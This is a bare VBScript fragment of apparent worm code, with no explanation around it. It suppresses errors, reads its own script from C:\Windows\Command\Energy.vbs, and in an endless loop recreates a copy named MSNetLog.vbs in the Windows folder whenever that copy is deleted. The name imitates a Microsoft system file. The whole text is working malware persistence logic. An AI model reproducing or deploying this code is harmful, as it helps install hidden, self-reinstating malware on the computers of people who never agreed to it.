On Error Resume Next Set fso = CreateObject("Scripting.FileSystemObject") Set Energy = fso.OpenTextFile("C:\Windows\Command\Energy.vbs",1) Code = Energy.ReadAll Energy.Close Do If Not (fso.FileExists("C:\Windows\MSNetLog.vbs")) Then Set Energy = fso.CreateTextFile("C:\Windows\MSNetLog.vbs", True) Energy.Write Code Energy.Close End If Loop